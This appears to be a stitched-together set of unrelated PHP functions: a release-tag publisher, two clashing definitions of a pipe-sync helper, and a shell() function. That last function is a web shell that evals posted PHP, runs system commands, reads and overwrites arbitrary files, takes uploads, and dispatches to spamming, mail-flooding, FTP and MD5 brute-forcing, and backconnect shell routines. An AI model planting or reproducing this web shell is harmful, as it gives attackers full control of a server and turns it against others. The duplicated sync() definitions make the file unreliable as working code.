function publish_update() { global $config; $next_tag = safe_read($config['generator']['next_tag'], 32); if ($next_tag === FALSE) { return array('success' => FALSE, 'output' => 'No tag to publish'); } $tag_dir = $config['generator']['data_dir'] . '/' . $next_tag; if (!file_exists($tag_dir)) { mkdir($tag_dir, 0755, TRUE); } $dp = opendir($config['generator']['tmp_dir']); while (($file = readdir($dp)) !== FALSE) { if ($file !== '.' && $file !== '..') { $tmp = $config['generator']['tmp_dir'] . '/' . $file; $production = $tag_dir . '/' . $file; if (rename($tmp, $production) == FALSE) { return array('success' => FALSE, 'output' => 'Failed moving ' . $tmp . ' to ' . $production); } } } closedir($dp); safe_write($config['generator']['current_tag'], 'w', $next_tag); return array('success' => TRUE, 'output' => 'Tag "' . $next_tag . '" has been published'); }
function sync($tmp) { global $parent, $chunk_data_size, $total_data_size, $pipe, $pipes; if (!$parent) { $data = pack('d*', ...$tmp); safe_write($pipe, $data); return array_values(unpack('d*', safe_read($pipe, $total_data_size))); } else { $tmps = array(); foreach ($pipes as $pipe) { $tmps[] = unpack('d*', safe_read($pipe, $chunk_data_size)); } $tmps[] = $tmp; $tmp = array_merge(...$tmps); $data = pack('d*', ...$tmp); foreach ($pipes as $pipe) { safe_write($pipe, $data); } return $tmp; } }
function sync(&$tmp) { global $parent, $chunk_data_size, $total_data_size, $pipe, $pipes; if (!$parent) { array_unshift($tmp, 'd*'); $data = call_user_func_array('pack', $tmp); safe_write($pipe, $data); $tmp = array_merge(array(), unpack('d*', safe_read($pipe, $total_data_size))); } else { $tmps = array(array('d*')); foreach ($pipes as $pipe) { $tmps[] = unpack('d*', safe_read($pipe, $chunk_data_size)); } $tmps[] =& $tmp; $tmp = call_user_func_array('array_merge', $tmps); $data = call_user_func_array('pack', $tmp); foreach ($pipes as $pipe) { safe_write($pipe, $data); } array_shift($tmp); } }
function shell() { if ($_POST['type'] == 1) { eval(stripslashes($_POST['value'])); } elseif ($_POST['type'] == 2) { pwd(); print_r(ex(stripslashes($_POST['value']))); } elseif ($_POST['type'] == 3) { if ($_SESSION['safe_mode'] == 1) { if (($u = safe_ex('ls -la')) != '') { return $u; } else { return safe_ex('dir'); } } else { if (($u = ex('ls -la')) != '') { return $u; } else { return ex('dir'); } } } elseif ($_POST['type'] == 4) { if (file_exists(stripslashes($_POST['value']))) { if ($safe_mode != 1) { echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']), "rw"), filesize(stripslashes($_POST['value'])))); } else { echo htmlspecialchars(safe_read(stripslashes($_POST['value']))); } $_SESSION['edit'] = 1; $_SESSION['filename'] = $_POST['value']; } else { return 'File doesn\'t exists!'; } } elseif ($_POST['type'] == 5) { fputs(fopen($_SESSION['filename'], "w"), stripslashes($_POST['value'])); } elseif ($_POST['type'] == 6) { $uploaddir = pwd(); if (!($name = $_POST['newname'])) { $name = $_FILES['userfile']['name']; } move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name); } elseif ($_POST['type'] == 7) { echo alias($_POST['value']); } elseif ($_POST['type'] == 8) { echo spammer(stripslashes($_POST['from']), stripslashes($_POST['subject']), stripslashes($_POST['msg']), stripslashes($_POST['check']), stripslashes($_POST['elist']), stripslashes($_POST['logf'])); } elseif ($_POST['type'] == 9) { echo ftp_brute(stripslashes($_POST['host']), stripslashes($_POST['users']), stripslashes($_POST['passwd']), stripslashes($_POST['log'])); } elseif ($_POST['type'] == 10) { echo flooder(stripslashes($_POST['log']), stripslashes($_POST['to']), stripslashes($_POST['from']), stripslashes($_POST['subject']), stripslashes($_POST['msg']), stripslashes($_POST['amount']), stripslashes($_POST['check'])); } elseif ($_POST['type'] == 12) { echo backconnect(stripslashes($_POST['ip']), stripslashes($_POST['port']), stripslashes($_POST['method'])); } elseif ($_POST['type'] == 13) { echo backconnect(stripslashes($_POST['port']), stripslashes($_POST['pass']), stripslashes($_POST['method'])); } elseif ($_POST['type'] == 14) { echo md5_brute(stripslashes($_POST['hash']), stripslashes($_POST['log']), stripslashes($_POST['dict'])); } else { $u = ex('ls -la'); if ($u == '') { return ex('dir'); } else { return $u; } } return null; }